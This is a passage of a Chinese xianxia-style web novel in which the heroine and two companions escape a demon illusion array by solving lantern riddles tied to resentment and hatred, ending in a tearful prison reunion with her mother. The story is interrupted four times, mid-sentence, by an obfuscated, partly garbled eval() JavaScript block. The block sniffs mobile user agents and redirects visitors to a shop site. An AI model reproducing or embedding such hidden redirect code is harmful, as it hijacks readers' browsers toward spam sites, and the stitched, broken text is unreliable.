“这世上有本事的人多了,谁敢说各个都自在?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314034|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我偏要自在,怎样?” 话题戛然而止,绍相逢的余光瞥见了躲在远处的王五。 他现在又换了副面容,谦谦君子的模样,打一把油纸伞,但头上绑了条特殊的青绿色发带,上写了个‘止’字,那是绍相逢认出他的凭据。 两人对上眼色后,王五立刻退隐在了人群之中。 绍相逢想要回到那条巷口确认,于是道:“我想回去找方才那支发簪,忽然觉得喜欢了,可以搭配另一身衣服。” · 雾霭沉沉的夜晚,天上猛地打下一道电光,直劈在绍相逢眼前。 她往后一闪身,警惕地扫视四周。 酒楼灯会的光线霎时间黯淡下来,云上月拉住她的胳膊,极熟稔地将她拉至身后。 人群躁动起来,绍相逢低头看看他紧攥着自己的手,调侃道:“这会不想让我死了?” 云上月显然是不想与她这时打趣,四处想寻找僻静处一避,随口答:“我死前一定拉着你,不是现在。” 周严从不远处跑来,给他们指了一条路,三人急藏身进去。 “你们二人暂且在这一待,属下去探一探外面发生了什么。” 发生了什么? 绍相逢听外面叫喊的人群,大致心中也有了什么想法,和云上月一个对视,二人便全都了然。 “妖族。” 扯开嘴角,绍相逢道:“这是妖族的阵法,将人群困在其中,施以幻境,让现实与幻境重叠成两层世界。待得越久,精神被侵蚀得越严重。所以我们需要尽快找到阵法出口才能离开。” “这里周严武功最好,我其次,云上月不会武功。” 云上月在旁边,低下头,意味不明地抿起唇。谁也没有注意。 听她接着分配任务道:“所以周严你和云上月先往南边去寻线索,这样两人都是安全的。我自己往北边路找,这样可以吗?” 一听这话,周严和云上月两人都不满意。 周严说:“不行,我必须留下,这是我的职责。” 云上月道:“我不跟他走。” “情况紧急。”绍相逢并不理会云上月的胡搅蛮缠,只对着周严解释:“我保证我不会出事,你也不算渎职。” 周严还想坚持,可耐不住绍相逢拿出了自己官家小姐的头衔,强硬道:“忤逆上司与渎职同罪论罚,你明不明白?” “……是。” 周严应下,拽着云上月就往主街以南走去,任凭云上月不满。他拗不过周严,因此只能被他拽着离开了。 绍相逢看着他们走远,心里总算松下一口气。 看着长街上骚乱的人群,一时有些茫然。 王五也在其中,且他丝毫不会武功。所以她现在最要紧的一件事,就是找到王五。 往前扒拉着人群,找到那个巷口。 周围的人蹿来跑去,叫嚷着,在那个没有人留意的角落中,摆着一只鱼筐。 绍相逢的心稍稍落下一点,便听身后传来细碎的铃铛声。 “你怎么又忘了,竟然还想靠那个废物甩掉我?” 绍相逢千算万算也没想到这会还能听见这个熟悉的声音,转过身去。 话语哽在喉咙里。 ......他凭什么说大内前五的周严是废物。 不,应该问,他是怎么跑过来的? 8. 再重逢 云上月双指间夹了张纸符,送至嘴边,轻轻一吹,火光猝然亮起。火苗烧卷着纸张,纸灰蜷缩起来,稀稀拉拉的掉在地上。 低头顺着纸灰的方向看去,自云上月脚下开始,一直延申向极远处的道路拐角。 他大有一副‘你快感恩戴德吧’的神情,绍相逢却不理会,反而质问道:“你为什么会这种邪门术法?” 上前两步,抓住了他那只施法的手腕:“跟谁学的?” 云上月笑得莫名其妙,拍开她的手,道:“你捏疼我了。” “我知道你在找他,不如我们一起去吧?” 绍相逢后退两步,她警觉地发现四周的人流变得缓慢起来,像一滩粘稠的腐烂的水在慢慢滚动。失去了生气,失去了颜色。 揉了揉眼睛,再次睁开。眼前景象变成了灰白色,行人的叫喊声被无限拖长了。 绍相逢顿时感觉天翻地覆,一阵眩晕感袭来。 夜鸦哀嚎着,扇动着翅膀掠过黑色的天空。飞鸟行过后,终于露出街道尽头的牌坊上多出的字符。 妖域灯会。 · 再次睁开眼睛,绍相逢意识到自己只是晃了下神。 她环顾四周的景象,行人熙攘,远处打铁花的火光飞溅,耳边叫卖声不断,细闻空气中还有包子的香气。 这是回来了么...... 绍相逢不觉得冷,但还是习惯性裹紧了裘衣,深吸一口气,然后缓缓吐出。 没有雾气。 不动声色地往前走,打量着擦肩而过的每一个人。绍相逢的记忆从不出错,她可以确信,这儿的每一个人她都从未见过。 尽管衣着打扮相似,但语气谈吐,还有脸上一些细微处总有出入。 她停在了方才云上月猜灯谜的小摊前,提起花灯,翻来覆去看了一遍。 摊贩见她有兴致,上前来问:“小姐有兴趣猜一个灯谜吗?” 绍相逢对他笑笑,点点头,道:“当然。” 从袖口中摸出几个铜钱,搁在了小贩手里头。 小贩喜气洋洋地应了声好,转头去翻找他的灯谜匣。背对着绍相逢,找了半天,自言自语道:“上哪去了?刚才还在这......” 绍相逢的目光还落在远处行人身上,随口道:“在桌子底下。” 小贩挠了挠头发,嘴里还嘟囔着什么,调过头来,弯身去桌板下面找。他瞪大眼睛,不可置信道:“哎呦呵,真叫您说中了!” 等得已经不耐烦了,绍相逢冲他招招手,示意快拿箱子来。 “别急啊客官,咱出来玩就是图个高兴不是?你看我这箱子,它可是祖传的宝贝,是由上好的梨花儿......” 怎么话变得这么多了...... 绍相逢深深吸气,强迫自己耐心去听,瞧着那所谓‘祖传宝贝’被小贩托在手中。 他还在喋喋不休,完全没有见到自己的箱子中有一张纸条微微发着光。 等他把箱子放在桌上,绍相逢伸手去摸的时候,身后忽然有人叫她。 “相逢!”那人喊道:“好费劲找到你。” 绍相逢听到这个称呼,猛地抬起头。 转回头,看见是云上月调笑着走近了。 她眼神暗了暗,罕见地露出了嫌恨的神色。扭过头,完全不予理会。紧接着迅速捞起那张发光的纸条,捏在手中,低头去看自己手里的纸条。 上面只有短短几行字。 鬼域灯节,诚邀绍小姐参与。 灯谜题目为:多半是蛇心。 全场第一个解开题目之人,可破解阵法。并请在半月后前往真正的鬼域,获得灯谜奖品。 绍相逢把纸条藏进袖中,装作什么事都没有发生的样子。 看着朝自己走来的云上月,一字一顿问他:“相、逢?谁教你这么喊我的?” 她语气少见地正经起来。 对方不以为然,往身后一指,极远处,人群之后,马车上,走下来一个身着华服的中年女人,正向着绍相逢招手。 心脏倏然重重下落,砸得她慌了一下。 云上月看出了她的痛处,特地问道:“那女人是谁啊?” 没有回复。 再一看,绍相逢已然转头继续往前走了。 “那是谁啊?” “熟人。” 他看出了绍相逢的不快,于是快乐道:“何处认识的熟人,京城么?” 绍相逢想要发作,勉强忍下气来,只说:“你不是假的。” 云上月一歪头:“你怎么知道?” “妖阵造不出这么疯疯癫癫的人来。” 云上月眉眼往下一垂,幽怨道:“绍小姐可是好叫小人伤心。” ...... 路上铁蹄声愈发紧密起来,望不见来人,尘土却从远处升起。 绍相逢还在低头思索什么,云上月忽然抬起头,不知从哪横生出的直觉,低声道:“不好。” 他拉住绍相逢的手腕,拧身往路边冲去,蹲身掀起半人高的罗筐,先是将绍相逢推去,继而自己也藏身进去。 绍相逢一屁股蹲坐在青石板上,轻轻‘嘶——’一声,不明原委,无声地看向云上月。 云上月透过罗筐编织的细密空洞一指,外面不知何时多出来些兵马,在街上疾驰,嘴里大喊着‘清剿逆贼’。 “是说的你家么?刚才那个是你的母亲。” 他明知道答案,却还是再三赶上来追问。 看绍相逢质疑的表情,他‘切’一声,不屑道:“因为这是你的幻境,所以一切变数都是你的劫难,这不很正常?我方才可是扒开了许多层幻境,才找到你的。” 绍相逢眯着眼睛,问:“为何要找我?” 他又笑:“想看你怎么死在这里的。” 绍相逢翻了个白眼,问:“你为何不受这阵法干扰?既没有幻境,也不受影响,甚至可以在这中间穿行。” 云上月摇摇头,完全不知道但又无所谓的表情,忽然伸出食指,在嘴边比了声‘嘘——’。 两方视线对上,云上月神秘兮兮地示意她稍等,自己低头摸索腰间铃铛。那悬挂的一串串铃铛发出极其微弱的抖动,云上月捏住其中一串,狠心往下一扯,捏在指尖。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314035|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “干什么?” “小点声,小心一会被逮住。” 绍相逢不解地看着他的动作,眨眨眼睛:“这是什么?” 他将铃铛前端的银线掰成弯钩状,凑近了绍相逢。冰凉的指尖捏住她的耳垂,把那串铃铛挂了上去。他往后倾了倾身子,欣赏着眼前的景象,很满意似的,问:“喜欢吗?” 绍相逢挑高眉,上下打量着他。 怎得忽然转了性子? 绍相逢没有细想,摸着自己的耳垂,又想起了那则灯谜:多半是蛇心。 到底是什么...... · 街上哄闹声愈发大了起来,身穿铁甲的士兵在街头搜查,起先是把马车上那个女人带走了,又寻摸着想要找到什么东西。 他们掀翻了几个小摊,又挨个房子闯进去抓人,皆一无所获。 “我们该走了。”绍相逢道:“去找出口。” 云上月刚要起身,被人抓住了衣角:“怎么了?” 回头一看,绍相逢朝着一侧咳嗽了两声,才道:“出口是:多半是蛇心。” 他蹙眉,不问出口,却来问她:“你还好吗?” 绍相逢摇头:“别管这些了,先找出口吧。” 对方虽不放心,却肯照她说的去做,绍相逢放下点心来。 两人鬼鬼祟祟从筐子里爬出去,猫着身子,希望不被发现。 “这里有人!!”身后忽然爆出一声大喊,有个男人看见了他们,回头去叫同伴:“快抓了这两个贼人!!!” 绍相逢和云上月大眼瞪小眼,停顿片刻后,绍相逢指挥道:“分头跑!” 云上月一个急停,手扒住墙砖,拐进了某个深不见底的小巷中去。同一时刻,绍相逢一个起跳,单臂攀上房檐,借力翻身,爬上了房顶。 那甲兵犹豫了片刻,回头与同伴确认了个眼神,也兵分两路往前追去。 绍相逢沿着房顶,跑过一栋栋房屋,瓦片碎裂声不断。她不断往城郊跑去,看着追兵慢慢少了,已然气喘吁吁。 最后只剩下一个士兵,仍然锲而不舍地跟在她身后,上气不接下气。 “哎哟、呼——哎哟!”他实在跑得嗓子疼,冷风如刀割划过他的喉咙:“咱俩好好商量,都停一停行不行?不然跑出人命谁负责。” 绍相逢耳朵动了动,惊讶地慢下脚步,回头来看房下的男人。发带飘忽着垂落,‘止’字荡在空中。 她也感觉嗓子不舒服,咳嗽两声,口中腥甜,朝一旁吐了口血水。 “小姐?!?”对面大惊失色:“您怎么在这里?” “你没事吧?” 绍相逢随手擦了把嘴角血迹,道:“没事,你也是穿过很多层幻境过来的么?” 王五摇头,低头看看自己大汉的装扮,愁眉苦脸道:“不是啊,我晕了一下,再睁眼就回到了十年前。十年前我在干嘛?哈哈,我还为了讨生活用人皮面具假扮小兵呢!” 抿着嘴巴,绍相逢哼笑着撇过头去。 十年前啊,这么奇妙的缘分...... 那么,周严是否也在这里呢? 9. 再重逢 按理来说,周严此时应该还在皇城中做影卫。 他是否会来到灯会......这很难保证。 思至此,绍相逢甩了甩脑袋,把那些杂七杂八的念头全都抛掉。 “你怎么回来得这么晚?周严那边早都交差了,也不见你踪影,我以为你出了什么事情。” 他叉着腰,仰天大笑:“我叫人跟上了,甩了几天,才甩掉那厮。” 绍相逢边摇头边鼓掌:“你真是天生的戏骨,扮个甲兵都有模有样。” 王五一拱手,谦虚道:“过奖过奖。” 从房顶一跃而下,带起风声‘嗖’地落地,王五只看清了她的一道残影。绍相逢稳稳当当落地,站起身,毫不见外地冲他摊开手:“喏,拿来吧。” “咦!”王五往后小跳半步,瞪大眼珠望她:“你要什么?” 绍相逢不可置信地上下扫他一番:“你说要什么?肯定是出口的提示啊!” “哦——” 他咂摸着味儿,自己琢磨一会,欲要开口却又止住。 “哎、哎......”他思量着:“你这人太不讲道义,简直堪比劫匪!” 绍相逢收回手,疑惑道:“为什么这么说?” 王五不停转动着眼珠,怪道:“你要别人的东西,总要给点好处吧?不给好处直接要,那可不就是生抢?” ......。 深深点头,以表认同。 绍相逢皮笑肉不笑地从对方的腰际抽出一把长刀,举高了,搁在眼前。屈指敲响,刀背铮鸣,在夜色中闪烁着银光。眯眼倾听着刀刃发出的声音,继续点头,认可这是把好刀。 “你说怎么有人在军营里当了几年甲兵,一点武功都不懂,竟然还能活到现在?” 王五整颗心都随着刀跑走了,他提起气儿,只敢顺着绍相逢说话:“因为小的有眼力见儿......小姐,别冲动......” 顺势走上前,颤巍巍从绍相逢手里取回刀来,低着头罚站似的不敢吭气了。 “五十钱。” 绍相逢一开价格,把王五脸色都憋红了:“小姐,二百钱......” “我劝你别太不识相,上回你讹云上月那一锭金子我还没讨回呢。” 一句话呛得王五愣是忍住了,不再抬价。 他委委屈屈地从兜里摸出一张纸条,递交给绍相逢。绍相逢接下后仔细与自己那张做对比,发觉除却名字和谜题外,其余别处是一模一样的。 王五的谜面是:金银耗尽为前情。 “金银耗尽为前情,”她思量着,又念出自己的那张纸条:“多半是蛇心......” 一下子想不出什么答案,于是顺手就把纸条揣在袖口里面。 王五伸着手本来还想去接,结果眼瞅着纸条进了别人口袋,心痛不已。 “你有什么想法吗?” 王五揣着手,撅起嘴,直摇头:“小的对灯谜一窍不通。不过,既然这幻境让我们一同回到了十年之前,那一定是有什么作用的。” 他的话不无道理。 绍相逢像是抓住了点什么线索,开口问:“当时你为什么来做甲兵?” “我啊,”他整理一下逻辑,尽量简洁道,“我当年无父无母的,被师父收去做人皮面具。说是人皮,其实没那么玄乎,全是驴皮做的。你见过皮影戏吗?那也是驴皮......” “说重点。” “哦。”他接着说:“那会儿我们做这种东西主要是为了卖钱,师父让我一边做这些营生,一边读书参加乡试。但我从没考上过......” “我们的买家基本上也都是些江湖侠士。结果有一日来了个神秘的女人,我师父说不怕!咱这什么样古怪的客人没接待过?于是我们就按照她的要求赶制......” “讲快点,”绍相逢有点焦躁,“时间不够了。” “什么时间不够?好吧,我尽量长话短说。”王五道:“结果那女人是宫里的人!宫变事件你知道吧?里头就来人将我师父压走了,走之前他让我快逃。我就跑了。那会甚至暗地里四处给官老爷打点银两,积蓄全花尽了都没有找到我师父。” “哈哈,所以你看,我现在也不把制驴皮面具当作正经营生了,都用作歪门邪道以谋生。不然活不下去呀!” “小姐你是不知道,这在外头讨生活有多艰难......” 绍相逢忍无可忍,又一次打断了他。 “这些足够了。”她道:“所以这个时期是你人生最大的转折?从此之后你的身份就不再是学徒、考生,而成了一个逃犯......” 王五点头:“当然了!我曾立誓,有生之年一定要找到师父。无论她是被关在大牢,还是去世了。” 说到最后三个字的时候,王五脸上有点挂不住。 绍相逢抬起手,想要去拍拍他的肩,还未碰到对方的肩头,就剧烈地咳嗽起来。她背过身去,紧拽着衣领,一直咳弯了腰。 “你怎么了?”王五大叫,看见地上暗红色血渍,散落在地。 她摆摆手,示意自己没事。用鞋沿撇了点土,盖在血渍之上。 “没有大碍,我对这妖域不太适应而已。”她说:“等出去就好了。” 王五哀愁地看着地上被她掩埋的痕迹:“真的么,可我就没事啊......” 绍相逢说:“我曾在书中看过,这种阵法会扰乱人和妖的心神,具体情况视个人和法力强弱而定。如果待的时间太久,整个神志都被阵法吞噬,即便是出去了也无法挽回。” “那我们得抓紧了,你情况看起来很差。” 绍相逢拉住王五要离开的胳膊,问:“你觉得这阵法法力如何?” 王五摇头:“施法之人很厉害,不然不会有这么多人,这么多复杂的场景。但目的不是为了杀人,所以法阵威力很弱。” 绍相逢若有所思道:“可我究竟为什么这样......?” “金银耗尽为前情。”她喃喃重复着谜面:“四处打点......” “你去了哪里打点?”她问。 “当时一个刑部的官员家中。”他回答道。 “谁?” “好像是姓邹......” 绍相逢眼睛一亮,道:“对上了!多半是蛇心。我也曾去过他家,想让他替母亲打点,结果他收了钱却不办事。” · 路上,王五小心翼翼问她:“令母咋也蹲大牢去了?” 绍相逢淡淡扫他一眼:“不该问的别问。” “得嘞大人,明白了。” 姓邹的府邸那叫一个富丽堂皇,厚重的府邸大门如同两扇沉睡的巨兽一般。绍相逢同王五对视一眼,从侧墙翻入。 “小姐,还记得他书房在哪里吗?” 绍相逢招手,让他跟上来。 两人为避开守卫,蹲在草丛中,远看书房中一片漆黑。 “他怎么这个点就睡了?”王五不解:“我记得他这个点喜欢在书房点钱。” 绍相逢横他一眼:“这是幻境,有不合理处自然也是正常,进去吧。” “怎么可能?”王五跟在她身后小声反驳:“幻境要是把这一点改了那姓邹的都要不姓邹了。” 保险起见,两人还是先进了书房。 推开窗户,‘吱呀——’一声,绍相逢前后看看无人,一道影儿似的蹿了进去,王五紧跟其后。 屋中一片漆黑,王五捅了捅绍相逢的胳膊肘,问她怎么不动了。 他揉搓着眼睛,等到他能看清时,长长发出一声感慨。 “啊——” 房角传出“呜呜”低响以回应王五。 云上月正用胳膊勒紧了姓邹的喉咙,拿刀抵在了他脖子上,并用他的衣服堵住了他的嘴。等王五看清时,他正招手让绍相逢递东西来捆人。 王五震惊的时候,却见绍相逢极顺手扯了腰带,丢给云上月。 “谢了。”云上月说。 人在尴尬的时候就会变得手足无措,王五甚至不知道该往哪看。 “看着点府兵。”绍相逢道。 王五艰难吞下口水:“好的。” 云上月三下五除二给人捆了个结实,便丢在一旁,自己坐到桌上喝人家的酒去了。 姓邹的害怕到瞪圆了眼,急急哀嚎。他本以为那两人是来救他的,结果谁知是同伙。 “那小子就那么重要么?”云上月突兀开口:“你寻了他好几圈了。” 绍相逢呛声:“关你屁事。” 她从袖中甩手出两张纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314036|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条,就这么拍在了案头,冲云上月扬了扬下巴,道:“你喜欢解密题,给你看看喽。” 云上月坐在桌边,压根没低头,依旧这么直勾勾看着绍相逢。 “不看。” 匪夷所思,绍相逢气笑了:“狗肚子装不下二两酒是吧?” 他颔首,看着自己面前的酒盏:“你陪我喝,我就帮你看。” 绍相逢哑然,目光滑落到酒杯上,二话不说,直捡起杯来喝。 王五抬手想劝她身体不好,话还没出口,她便仰头饮尽,再翻转酒杯,水珠沿着杯壁凝结成一颗,摇摇欲坠。 云上月偏要盯着那一颗落不落,绍相逢也和他较劲。 半晌,竟一滴都没落下。 云上月鼻子哼气:“算你赢。” 接着转了半个身子,探上前来瞧上面的字眼。 王五压低声音大喊:“不妙啦,有一个女人往这边走!” 剩下两人互相看一眼,一个摸刀上去压在姓邹的脖子上,绍相逢则扯下他嘴里的东西,问:“那是谁?” 姓邹的委屈道:“我夫人......” 云上月立刻甩出个飞刀,直钉在书柜铜环中间的木板上,示意他自己刀法很准。 绍相逢惊讶了片刻云上月为何刀法如此之好,接着问邹老爷:“知道怎么做了么?” 对方猛猛点头。 于是云上月替他解了绑,让他出去应付人。 · “夫人。” 女人叉着腰,气势汹汹:“你他娘的怎么还不回房?一天到晚在这点点点,金山银山都要被你点完了!” “我把门拴上了!你今晚自己个儿留在书房睡吧!死在书房里头算了!” 嘭——! 邹老爷脸上的光随着带过去的的房门一齐消失了,他一转身,身后三个人正不怀好意地盯着他瞧。 他似乎听到对面三人发出‘桀桀桀’的笑声。 身后夫人拿着一把锁,‘咔哒’一声,从外面锁死了房门。 他长叹一口气:“别绑着我了,我也跑不出去了。” 于是他们留下王五与他大眼瞪小眼,两人则站在书桌旁盯着谜面看。 “金银耗尽为前情。”云上月说:“这句我知晓,谜底是恨。” 王五昂着脖子问:“为何?” 云上月不知。 绍相逢歪着头想了想,道:“金银耗尽,指的是银字去掉金字旁。为前情,指的是,艮字前面的情字旁。” “那什么又叫:多半是蛇心呢?” “怨。”云上月迅速答道。 似是想到了什么,绍相逢笑了出来:“一怨一恨,妖怪过花灯会也这么不喜庆。” 云上月自然而然抬起刀,搭在邹老爷下颌上,好像吃饭喝水一样自然:“所以你怨他么?我来杀了他。” 绍相逢摇头。 “那你恨他么?”云上月又问。 王五想了想:“恨不起来。” “为什么?”云上月有点不能理解她:“就像你看到十年未见的母亲也丝毫不动容一样?”他冷笑:“我做不到如你一般冷血。” 原来他还在惦记这回事么? 母亲...... 刚才的一幕又重新袭上心头,母亲站在车上,遥遥冲自己招手。 “相逢,十年未见......” 那简直与自己噩梦中反复出现的场景一模一样。若是母子十月不见,再见必然是美梦。但倘若是十年,那一定是一场噩梦。 心头翻涌,她又感到头晕目眩,呛了口血,强撑着不出声,默然拉来袖袍掩面。再翻手盖住。 绍相逢耐心对云上月解释:“因为这世上还有更值得恨的人,他不过一个小卒。”她加重了语气:“而且,这【只是】幻境,你莫要忘记。” “若太动感情,当心无法返回现实。” 云上月沉默下去。 绍相逢不再顾及他的想法,只是自己摇头,道:“这不是答案。” 外面响动声又起,绍相逢才后知后觉自己遗忘了什么事情。 “你怎么进来的?” “追兵追我,逃进来的啊。” 绍相逢暗道不好,云上月显然也知道事情不对,赶忙收拾东西。 10. 再重逢 “你们!先去客房,再去书房搜!”一个粗声粗气的士兵道:“剩下的跟我走,去后院搜!” 那群士兵各个整装待发,气势高昂。 一溜整齐的应和声传来,带着盔甲摩擦声:“是!” 绍相逢贴站在墙边,收回视线。 “这群人训练有素,和刚才那些人不是一伙的,恐怕没那么容易甩开。” “直接打好了,”云上月斜倚着,“反正都是假的。” 邹老爷左看右看,战战兢兢:“几位大人,什么是假的......?” “这你倒是不用管。”王五哈了口气,往他脑袋瓜上狠狠一敲。 “哎哟!” “闭嘴。”绍相逢横他俩一眼:“安静点。” 邹老爷悻悻地缩成一团。 眼见追兵走进了客房中搜查,绍相逢仍不打算跳窗离开,云上月在一旁放冷话。 “喂,你们不打算跑,我可就继续喝酒了。” 王五紧张得屏住呼吸,即便这里是假的,可痛觉却是实在的。若被逮住再打一顿,不知道自己这身板挨不挨得住。 相逢未置一词,默默从窗边折回,在书架上四处摸索着。她忽然把住一只花瓶,试探着拿起来,提不动,只能横向扭转。 倾着脑袋,耳朵靠在花瓶瓶身上,每转动一下,绍相逢就在心中默默记住那‘喀哒’声的高低。 根据声音高低不同,来判断打开暗门的拧动方向。 王五瞪大了眼睛,不可思议道:“天呐!你怎么知道这里有机关的?” 邹老爷也不敢相信,却被王五捂住了嘴巴。云上月三下五除二再次把他捆了起来。 “嗯嗯!嗯嗯嗯嗯嗯!” “他在吱歪什么?”云上月问。 王五压低嗓门,学着邹老爷的声调,怪声怪气道:“聪明!这就是大侠?!” 二人一齐看向邹老爷,他无奈叹了一口气,皱着脸深深摇头。 王五又学:“撬锁!快来教教我!?” 云上月摇头,表示不肯相信。 齿轮转动声缓缓响起,绍相逢的动作停下了。后退两步,看书柜缓缓打开,一条通往地下的通道缓缓敞开。 “他说的是——” “疯子,那个是古董。” 她回头,长发跟着甩动,脸上带着得逞的笑容。伸出一根手指,在邹老爷面前摇了摇。 “不是哦,你这个是假的,真的在我家。今天差点被另一个疯子砸了。” 云上月抱着胳膊,咂摸着,觉得好像是这么回事,慢悠悠点点头。 “嗯嗯嗯!” “他说什么?”王五问。 绍相逢瞥他一眼,随口道:“他说不可能。” 绍相逢拎起邹老爷的后衣领,把他拖入地道中去,剩下云上月也立即跟上,王五垫底,最后关上了书柜的门。 一甩手,把邹老爷再次丢在墙角。 “没成想有生之年还能再看到这里完整无损的样子。”绍相逢感概。 王五长出一口气,整个人不受控地打摆子,在这地窖中好似来到了天堂。 满屋满眼都是金灿灿的雕花。 “纯金的啊??” “嗯!嗯嗯嗯嗯!” “什么?” “对,你别乱动。” 绍相逢替他转述完,欣赏着这些纯金浮雕,细碎的宝石镶嵌在金子中间。墙上雕着鬼鹤,四周用毬纹做框。鬼鹤是妖界传闻中能带来永生的怪物,毬纹则是代表人间仕途显达的纹样,所谓‘转官毬’就是指的官阶升转。 真是妖界人间两手抓。 “你如何知道他这里有地窖?”王五还没缓过心神,问。 “不是说我十年前来过?”她说得极轻巧:“当时他收了钱不办事,让母亲在狱中受苦。我走投无路,几乎活不下去。就夜里把他绑来地窖,让他看着我一点点把这金墙划坏,一直到他向我求饶。” 绍相逢点了点云上月的肩膀,云上月回过身来瞧她。 “我说过,偏不向他们低头,照样可以活得很好。” 云上月回想起灯会上她的一番话,突然提起这事,难道是在劝慰自己? 心神随着那句话跑远了。 很快他回过神,意识到自己的失态,会心笑了笑,轻轻颔首。 “小姐说得是,小人受教了。” 意外没有攻击性了。 绍相逢一愣,万万没想到会收到这样的回答,别过头去,不再看他。 “等追兵离开,我们就去找出口。” 三人席地而坐,低声讨论着谜底究竟是什么。 “小姐,你为什么说,这里没有出口?” 绍相逢想了想,道:“你与我的灯谜,一个是恨,一个是怨。这些都与什么有关?” “情感。”云上月迅速道。 “聪明,”绍相逢笑答,“因此我第一个想到的是,出口是跟我们过去情感有关的地方,所以来到了此地查看。” “方才闲谈时我观察过书房,没有任何可疑之处。于是又下到地窖,也无异样。” “那么......” “出口不是一个地方。” “而是一个人真正的怨与恨。” · “真的能行么?”王五皱着眉头,反复考量着她的说辞。 “你的状况已经很差了。” “而且这一定就能成功么?” “万一这样不行......” “太危险了。” “我不同意。” 王五开始絮絮叨叨,他原地转了一圈又一圈。 “你怎么变得像周严了?”绍相逢笑道,她又转而用话去点旁人:“况且,我不会死,更不会让一些人如愿。” 王五看着她,莫名竟真的随之安下心来。 “那我能跟着去见见师父吗?” “可以,但务必小心,莫要在阵中失去神智。” “好嘞!” 王五彻底开心起来。 绍相逢做好的决定,一向没有人能改变。 她立刻便画出地牢路线图,从邹老爷的金墙上挖下一大片金子,四处打点人脉去了。 王五奸笑着,看着这白捡的金山,又从墙上撬下几块宝石,自己个悄摸摸揣在怀里。 大摇大摆离开了地窖。 徒留邹老爷一人被留在原地,心痛到嗷嗷直叫。 最终三人装模作样地走在黑暗逼仄的甬道中。 王五为了撑起气势,装得二五八万。云上月跟逛灯会似的,乐呵呵同路过的囚犯聊闲。 只有绍相逢一人正经,但她正经到了有点唬人的气势。囚犯若看见云上月,会去跟云上月聊两句,可再看见身后的绍相逢,立马又退得远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314037|152367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 “你看,你把他们都吓到了。”云上月道:“都没有人愿意陪我聊天了。” 绍相逢冷着脸,淡淡抬起眼。 云上月盯着她看一会,调笑道:“干嘛这么紧张?你自己都说是假的了。” 他好像很期待似的,却又不表现得太明显。 “到喽。”他站定,瞧着那铁栏后面色惨白的女人。 他又笑嘻嘻地问远处的绍相逢:“你会期待么?十年前抛弃你的女人,她好落魄。” 绍相逢心脏刺痛了一下。 ‘抛弃’二字是云上月特地抛出的吊钩,目的是吊住她。用钩尾刺透她的患处,那块不停流脓、藏在深海下的溃烂。 收紧鱼线,弯钩扯住她的伤口,不断回收、不断收紧...... 她不知怎么,并不上前。 强撑着镇静,心底却开始慌乱。 云上月笑得愈发得意,继续道。 “这是你此生最后一次见到她的机会了。” “用你来牵制他们,多高明的计策?让你们母子永世不得相见,让你永远痛苦下去。” 他凑近了,仔细端详着绍相逢的脸,试图从中找出一丝他希望的情绪。 “她为了让你活下去,最后对你说了什么?哈哈。” 看着绍相逢的表情越来越难堪,他仿佛能汲取到快乐似的。 他痛苦,就要让绍相逢感受到更多的痛苦。 只有这样才能让他在不值得苟活的人生中寻得一丁点乐趣。 “不及黄泉,无相见也。” 是绍相逢自己说出的这句话。 云上月不可置信地望向她,绍相逢冷冷地盯着他。 接着他大笑起来,笑到喘不上气,一直笑到眼角逼出泪珠。 绍相逢面无表情地走上前,用手握住监牢的铁栏杆,攥得手指发白。 她不肯转头去看母亲的样子。 十年太久远,记忆已经模糊。 浑身失了气力似的,头抵在杆上,肩膀在不受控的抖动,绍相逢低声笑着,大颗大颗的泪珠往下直掉。 无力地蹲下身去。 能听到‘沙沙’迈步声。 发尾在叫嚣,一只手抚上。 她低声啜泣。 “母亲......” 手臂脱力垂下,两张纸条顺着袖口滑落。 半空中,‘怨’和‘恨’闪烁着微弱的光芒。 在落地的瞬间消解。 在无人注意的角落,云上月瘫坐在地上,挽起的发簪散落了,像一只无神的布偶。 “你竟然也会恨,会不甘?” 他哼笑两声,目光落寞下去。 “你怎么也会为人怨恨......” 云上月心中有一部分坍塌了,砖瓦泥墙溅起满天风尘。 废墟中又筑起高台。 